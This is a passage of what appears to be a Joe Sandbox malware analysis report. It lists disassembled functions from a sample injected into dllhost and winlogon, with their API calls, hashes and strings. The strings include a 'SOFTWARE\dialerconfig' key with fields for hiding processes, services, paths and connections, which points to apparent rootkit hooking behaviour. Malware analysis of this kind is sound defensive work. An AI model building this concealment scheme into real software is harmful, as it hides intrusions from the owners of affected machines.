Opcode Fuzzy Hash: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction Fuzzy Hash: E1412AB2214B84C6E765CF62F4447DA77A1F388B98F448129EB8907B68DF38C589CB40

Function 00000001400017A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00000001400017D4
RegDeleteKeyW.ADVAPI32 ref: 00000001400017E5
RegEnumKeyExW.ADVAPI32 ref: 0000000140001822
RegCloseKey.ADVAPI32 ref: 0000000140001833
RegDeleteKeyExW.ADVAPI32 ref: 0000000140001850

Strings

SOFTWARE\dialerconfig, xrefs: 00000001400017C6, 000000014000183C

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 3546dc44df7e8b158bd6bb68c849f6718ea14c1894578f294c0a39a5e3694e51
Instruction ID: 46bba928c240728d338613b8de0f0c529c8f41473f23169f90678cf934e6a2b6
Opcode Fuzzy Hash: 3546dc44df7e8b158bd6bb68c849f6718ea14c1894578f294c0a39a5e3694e51
Instruction Fuzzy Hash: 891170B2614A8485E762CF26F8447E923B4F78C7D8F405205EB5D0BAA9DF7CC258CB18

Function 000000014000148C Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400014AD
HeapFree.KERNEL32 ref: 00000001400014BC
GetProcessHeap.KERNEL32 ref: 00000001400014C9
HeapFree.KERNEL32 ref: 00000001400014D8
GetProcessHeap.KERNEL32 ref: 00000001400014E8

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 73bbda701e0c7dde8a9bb72d8052321e3a2b93cd57bfc5b7ac7be5e90a89b24a
Instruction ID: bfc98151d4b55344812eebf6c0d33986cba51fe62d4fd4ad2f52b553ca81b4e9
Opcode Fuzzy Hash: 73bbda701e0c7dde8a9bb72d8052321e3a2b93cd57bfc5b7ac7be5e90a89b24a
Instruction Fuzzy Hash: 4D015AB2600A80D6E705EF67F90438A77A0F78CBC4F494425BB994373ADE38C051C744

Function 00000001400020CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020DC
GetProcAddress.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020EF

Strings

ntdll.dll, xrefs: 00000001400020D2

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 194e60043ded67e07100df29ab3cf77ef87a9a245bef3bebfeeac3078f3da2c5
Instruction ID: 25cfabea84f4b80a2e2eb0d312c031e38d099179bfd8722b5fa94ad88c6eb4a5
Opcode Fuzzy Hash: 194e60043ded67e07100df29ab3cf77ef87a9a245bef3bebfeeac3078f3da2c5
Instruction Fuzzy Hash: 71D0C9F871260182EF2AEB6778553E152515B6DBD5F4940209F0647772DE38C0D48218

Function 0000000140001220 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001226
HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001235
GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 000000014000124F
HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001260

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction ID: 1511527892a3fb8eded8389ff9e17f75ca8e9e74a60c21ae91e61c536c9c2234
Opcode Fuzzy Hash: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction Fuzzy Hash: 39E039F170160086E705DB63E80438936E1EB8CB81F858024DA1907371DF7D84D98750

Function 0000000140001000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001006
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001015
GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001028
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001037

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction ID: 4369636dfc19c6b46be3dddb2077bf5e2e0bd1da0e3c66b1f75a47794e7da392
Opcode Fuzzy Hash: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction Fuzzy Hash: 78E0E5F1751A0086E70ADB63E80439976E1FB8CB91F898024EA1907731EE3884D98A24

Analysis Process: winlogon.exePID: 552, Parent PID: 8008COMMON

Executed Functions

Function 00000225DC642990 Relevance: 3.1, APIs: 2, Instructions: 64
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 00000225DC6429D0
NtEnumerateValueKey.NTDLL ref: 00000225DC6429FF

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: 02ad5e92296fcb81618173faf02e6502a770973b3644f5fa5863a03f8eb30bb4
Instruction ID: 84a77b9bb0afbf59611d0fa3fd5c5f0fab25569c8fb70d3f3086e3ec9d703967
Opcode Fuzzy Hash: 02ad5e92296fcb81618173faf02e6502a770973b3644f5fa5863a03f8eb30bb4
Instruction Fuzzy Hash: 9E21063A31CB6196E375CF8AA84462EB7A4F384F95F628159DE9653B54DF34C481C700

Function 00000225DC641628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641633
HeapAlloc.KERNEL32 ref: 00000225DC641642

Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC64126E
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC64127D
Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC641297
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC6412A8

Part of subcall function 00000225DC641000: GetProcessHeap.KERNEL32 ref: 00000225DC641006
Part of subcall function 00000225DC641000: HeapAlloc.KERNEL32 ref: 00000225DC641015
Part of subcall function 00000225DC641000: GetProcessHeap.KERNEL32 ref: 00000225DC641028
Part of subcall function 00000225DC641000: HeapAlloc.KERNEL32 ref: 00000225DC641037

RegOpenKeyExW.KERNELBASE ref: 00000225DC6416B2
RegOpenKeyExW.KERNELBASE ref: 00000225DC6416DF
RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
RegOpenKeyExW.KERNELBASE ref: 00000225DC641719
RegCloseKey.KERNELBASE ref: 00000225DC641734
RegOpenKeyExW.KERNELBASE ref: 00000225DC641754
RegCloseKey.ADVAPI32 ref: 00000225DC64176F
RegOpenKeyExW.KERNELBASE ref: 00000225DC64178F
RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
RegOpenKeyExW.KERNELBASE ref: 00000225DC6417CA
RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
RegOpenKeyExW.KERNELBASE ref: 00000225DC641805
RegCloseKey.ADVAPI32 ref: 00000225DC641820
RegOpenKeyExW.KERNELBASE ref: 00000225DC641840
RegCloseKey.ADVAPI32 ref: 00000225DC64185B
RegOpenKeyExW.KERNELBASE ref: 00000225DC64187B
RegCloseKey.ADVAPI32 ref: 00000225DC641896
RegCloseKey.KERNELBASE ref: 00000225DC6418A0

Part of subcall function 00000225DC6412BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC641327
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC641338
Part of subcall function 00000225DC6412BC: RegEnumValueW.ADVAPI32 ref: 00000225DC641397
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC6413ED
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64140A
Part of subcall function 00000225DC6412BC: HeapFree.KERNEL32 ref: 00000225DC641418
Part of subcall function 00000225DC6412BC: lstrlenW.KERNEL32 ref: 00000225DC641421
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64142F
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC64143D

Strings

tcp_remote, xrefs: 00000225DC641839
pid, xrefs: 00000225DC641712
tcp_local, xrefs: 00000225DC6417FE
udp, xrefs: 00000225DC641874
startup, xrefs: 00000225DC6416D5
service_names, xrefs: 00000225DC6417C3
process_names, xrefs: 00000225DC64174D
SOFTWARE\dialerconfig, xrefs: 00000225DC641692
paths, xrefs: 00000225DC641788

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: a2d6af49bfb468c6323ae30e83388f277792ce270a6e7da95958c0977ad93538
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: 50713E7A328E60A6EB109FE9E85869D33B4F784F9AF509111DE4E47B68EF34C444C740

Function 00000225DC643BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643BFC
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643C39
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643C5A

Strings

wr, xrefs: 00000225DC643C2F

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: 5ebfe231e3b5998aca6e229cc949323c5c65e22de211b62673f532ffd030ceb8
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: 25118E2A318B5092EB549BA9E4483697261F748F96F148438DF8E07754EF3DC544C704

Function 00000225DC645F60 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645F9B
GetThreadContext.KERNEL32 ref: 00000225DC646105

Part of subcall function 00000225DC645D90: GetCurrentThreadId.KERNEL32 ref: 00000225DC645D94

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2c9875a4be257d71c1bbafe5528e600240430df731cdbb341610095cc3b88c53
Instruction ID: 2e21bb73cee3d71e79c9cd6234793ef84b45f6acac65b4cfa46dbbb6eb0919c0
Opcode Fuzzy Hash: 2c9875a4be257d71c1bbafe5528e600240430df731cdbb341610095cc3b88c53
Instruction Fuzzy Hash: 50D19A7A20CF9896DA70DB8AE49835A77A0F3C8B85F104156EACE47BA5DF7CC541CB00

Function 00000225DC645500 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645586

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0484fdcd3f842ffe2eb8cf6abe3111b51bf2a7d82943804f644aff27e1a59f59
Instruction ID: 497ad16e15aeee416df0bddaacebb39c200c4c2ee8fa882154d46654e74b9134
Opcode Fuzzy Hash: 0484fdcd3f842ffe2eb8cf6abe3111b51bf2a7d82943804f644aff27e1a59f59
Instruction Fuzzy Hash: FB02E93621DF9496EBA0CB99E49835AB7A1F3C5795F104056EA8E87BA8DF7CC444CB00

Function 00000225DC612AC0 Relevance: 6.2, APIs: 4, Instructions: 240memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000225DC612B7F
VirtualProtect.KERNELBASE ref: 00000225DC612BA9
LoadLibraryA.KERNELBASE ref: 00000225DC612C32
VirtualProtect.KERNELBASE ref: 00000225DC612DC6

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: 0526b13a4640494a154737fd18b208aeadbfaa7a845f4f4111ac3a2fd46cdc36
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 9091487AB02A6097EF66CF69D008B6DB3A1F754B9BF54C125DF0A47788DA38D852C700

Function 00000225DC643E10 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000225DC643E96
VirtualAlloc.KERNEL32 ref: 00000225DC643ED0

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: dece628dfa6b96fb4fa24b2af5206c26f3a407fbee04769110ae8374df39886d
Instruction ID: c8307eed51a542c14115f8f3d212823eb754a030e29d743a42d646e143d38ee7
Opcode Fuzzy Hash: dece628dfa6b96fb4fa24b2af5206c26f3a407fbee04769110ae8374df39886d
Instruction Fuzzy Hash: A131212521DE98D1EA70DB9DE05835AB2A0F388B85F108575F6CF46BA8DF7DC581CB00

Function 00000225DC643620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000225DC643639
PathFindFileNameW.SHLWAPI ref: 00000225DC643648

Part of subcall function 00000225DC643C74: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64254B), ref: 00000225DC643C8C

Part of subcall function 00000225DC643BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643BCE
Part of subcall function 00000225DC643BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643BFC
Part of subcall function 00000225DC643BC0: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643C1E
Part of subcall function 00000225DC643BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643C39
Part of subcall function 00000225DC643BC0: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC64365F), ref: 00000225DC643C5A

CreateThread.KERNELBASE ref: 00000225DC64368F

Part of subcall function 00000225DC641D40: GetCurrentThread.KERNEL32 ref: 00000225DC641D4B

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: cb6c25e1d175d1ab828ac87d865260820c1993d6885dbca23a44a31068f7e984
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: FE11757862CE3662FB60ABECE50D3593291B755B57F50C1B59607856D5EF7CC048CA00

Function 00000225DC645220 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000225DC645224
VirtualProtect.KERNEL32 ref: 00000225DC645267
FlushInstructionCache.KERNEL32 ref: 00000225DC64527C

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 3cd42903cdcc5958fd6b3f80d03c4f8cc262e2c27ec8a819bb88f8b744014d6b
Instruction ID: aabe0a8065b1290ac19efed51260d016298b09264276fd75c2282f6936c50693
Opcode Fuzzy Hash: 3cd42903cdcc5958fd6b3f80d03c4f8cc262e2c27ec8a819bb88f8b744014d6b
Instruction Fuzzy Hash: 5CF0173A61CE2490D670AB89E44934A77A0E3887D5F148152BA8E43B69DB38C280CF00

Function 00000225DC641AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000225DC641628: GetProcessHeap.KERNEL32 ref: 00000225DC641633
Part of subcall function 00000225DC641628: HeapAlloc.KERNEL32 ref: 00000225DC641642
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC6416B2
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC6416DF
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641719
Part of subcall function 00000225DC641628: RegCloseKey.KERNELBASE ref: 00000225DC641734
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641754
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64176F
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC64178F
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC6417CA

SleepEx.KERNELBASE ref: 00000225DC641AE3

Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641805
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641820
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641840
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64185B
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC64187B
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641896
Part of subcall function 00000225DC641628: RegCloseKey.KERNELBASE ref: 00000225DC6418A0

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 76bb7eedacbd5859dbe052eab2fde45565dd295a6020b4ef6d0efc5088b35558
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: FE312B5971CE21B3FB549BAED55839A33A4AB84BC6F04D0A19E0BC77E5EF34C450C250

Function 00000225DC67DAFC Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00000225DC67D432,?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67DB51

Memory Dump Source

